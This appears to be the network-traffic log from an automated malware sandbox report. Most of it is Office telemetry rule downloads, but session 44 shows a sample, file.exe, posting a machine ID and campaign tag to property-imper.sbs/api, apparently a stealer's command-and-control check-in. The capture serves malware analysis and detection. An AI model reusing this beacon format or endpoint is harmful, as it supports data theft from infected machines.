2024-11-24 07:43:55 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.10	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:55 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:55 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: df8835e2-601e-0002-5b4e-3ca786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074355Z-15b8b599d88z9sc7hC1TEBkr4w00000004800000000095u9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:56 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.10	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:55 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:55 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 3c6e4b4f-901e-005b-7308-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074355Z-178bfbc474bxkclvhC1NYC69g400000005g000000000ctqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:56 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.10	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:55 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:56 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 3ac3f4da-f01e-001f-4c47-3c5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074356Z-178bfbc474brk967hC1NYCfu6000000005h0000000002vyq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:56 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.10	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:55 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:56 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 242b2616-d01e-0017-014e-3cb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074356Z-15b8b599d88g5tp8hC1TEByx6w00000004300000000093mg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:56 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.10	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:55 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:56 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074356Z-174c587ffdfcb7qhhC1TEB3x70000000043000000000m9z0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:56 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.10	49755	172.67.162.84	443	7804	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:56 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=X6FTKC96 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1188 Host: property-imper.sbs
2024-11-24 07:43:56 UTC	1188	OUT	Data Raw: 2d 2d 58 36 46 54 4b 43 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 39 30 34 35 34 44 45 31 38 42 30 45 35 35 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 58 36 46 54 4b 43 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 36 46 54 4b 43 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 36 46 54 4b 43 39 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --X6FTKC96Content-Disposition: form-data; name="hwid"9790454DE18B0E55D7CBBD6DF28D3732--X6FTKC96Content-Disposition: form-data; name="pid"1--X6FTKC96Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--X6FTKC96Content-Di
2024-11-24 07:43:56 UTC	1012	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f4b2i9513gh1tqrsnglu6bjj2p; expires=Thu, 20-Mar-2025 01:30:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oq%2B7cjYOQ330Y7nfTbNtyNslXAwgg06NnjKDo7CGN8h6tNkZ17GKsLwEBJTdCWomERrWDV%2F1meKJZolUefUm5PzJNrXuijoxqJ5euDjaPlJkdQsqiWR3aShlUlYXHj3TKc3yNTA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e77c5587964436f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1651&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2097&delivery_rate=1739130&cwnd=179&unsent_bytes=0&cid=25c08c8f26982d0b&ts=723&x=0"
2024-11-24 07:43:56 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 07:43:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.10	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:57 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:58 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: f7a7c4f9-601e-0002-0343-3ea786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074358Z-15b8b599d886w4hzhC1TEBb4ug000000045000000000aaz9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:58 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.10	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:57 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:58 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 35c17bb4-f01e-0052-536c-3d9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074358Z-15b8b599d88hd9g7hC1TEBp75c000000040g00000000dskz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:58 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.10	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:58 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:58 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: ed66cbfc-201e-0051-7e30-3c7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074358Z-178bfbc474bwh9gmhC1NYCy3rs00000005v0000000000huk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:58 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.10	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:58 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0a6aa823-c01e-0014-3efe-3da6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074358Z-178bfbc474bbbqrhhC1NYCvw7400000005x0000000001h0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.10	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:43:58 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:43:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:43:58 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074358Z-174c587ffdftv9hphC1TEBm29w0000000440000000003r7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:43:58 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 